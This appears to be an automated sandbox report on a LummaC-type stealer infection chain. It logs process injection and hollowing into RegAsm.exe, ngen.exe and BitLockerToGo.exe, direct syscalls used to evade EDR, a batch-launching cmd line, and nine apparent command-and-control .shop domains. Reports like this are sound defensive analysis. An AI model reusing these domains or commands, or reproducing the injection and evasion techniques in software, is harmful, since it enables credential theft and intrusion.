Source: Yara match	File source: Process Memory Space: dFpuQ1Q9a79sUJWPwukBnd_d.exe PID: 576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WxZ3BbtftdHbX6Ud8IQWTcja.exe PID: 2196, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe	Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe

Code function: 11_2_02B621B9 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

11_2_02B621B9

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	NtProtectVirtualMemory: Direct from: 0x1412696EC
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	NtClose: Direct from: 0x140FDE281
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	NtProtectVirtualMemory: Direct from: 0x140F9991A
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	NtProtectVirtualMemory: Direct from: 0x1418EC263
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	NtProtectVirtualMemory: Direct from: 0x140FA149F
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	NtProtectVirtualMemory: Direct from: 0x1412CA111
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	NtProtectVirtualMemory: Direct from: 0x140FB7051
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	NtProtectVirtualMemory: Direct from: 0x1412C887B
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	NtOpenFile: Direct from: 0x1410123FA
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	NtProtectVirtualMemory: Direct from: 0x14101399D
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	NtProtectVirtualMemory: Direct from: 0x141027997
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	NtProtectVirtualMemory: Direct from: 0x14101A9A5
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	NtMapViewOfSection: Direct from: 0x1418ECF55
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	NtProtectVirtualMemory: Indirect: 0x140F85475

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Memory written: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: Mp4Oumo4WN7EZ3kT28qf8R4b.exe, 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tryyudjasudqo.shop
Source: Mp4Oumo4WN7EZ3kT28qf8R4b.exe, 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: eemmbryequo.shop
Source: Mp4Oumo4WN7EZ3kT28qf8R4b.exe, 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: reggwardssdqw.shop
Source: Mp4Oumo4WN7EZ3kT28qf8R4b.exe, 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: relaxatinownio.shop
Source: Mp4Oumo4WN7EZ3kT28qf8R4b.exe, 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tesecuuweqo.shop
Source: Mp4Oumo4WN7EZ3kT28qf8R4b.exe, 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tendencctywop.shop
Source: Mp4Oumo4WN7EZ3kT28qf8R4b.exe, 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: licenseodqwmqn.shop
Source: Mp4Oumo4WN7EZ3kT28qf8R4b.exe, 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: keennylrwmqlw.shop
Source: Mp4Oumo4WN7EZ3kT28qf8R4b.exe, 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sentistivowmi.shop

Sample uses process hollowing technique

Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe

Section unmapped: unknown base address: 400000

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 39_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

39_2_004190A0

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 56C000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58B000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 593000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 5D9000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: B0D008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42F000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43C000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 651000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 652000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: A96008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 290008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 447000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 44A000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 45A000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63E000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: B67008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 432000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: D81008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42F000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43C000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 651000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 652000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 94D008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 400000
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 401000
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 428000
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 436000
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 439000
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 445000
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 4AFE008
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 456000
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 458000
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: E69008

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Process created: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe "C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Process created: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe "C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Liverpool Liverpool.bat & Liverpool.bat	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_0053F07E cpuid

7_2_0053F07E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	7_2_005612E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	7_2_005614E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	7_2_005615DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	7_2_00561590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	7_2_00561676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	7_2_00561701
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	7_2_0055B795
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoEx,FormatMessageA,	7_2_005408D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	7_2_00561954
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	7_2_00561A7D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	7_2_00561B83
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	7_2_00561C59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	7_2_0055BC64
Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	Code function: GetLocaleInfoA,	19_2_0040520C
Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	Code function: GetLocaleInfoA,	19_2_00405258
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	39_2_00417630

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Queries volume information: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe	Queries volume information: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe	Queries volume information: C:\Windows VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe	Queries volume information: C:\Windows\AppReadiness VolumeInformation	Jump to behavior
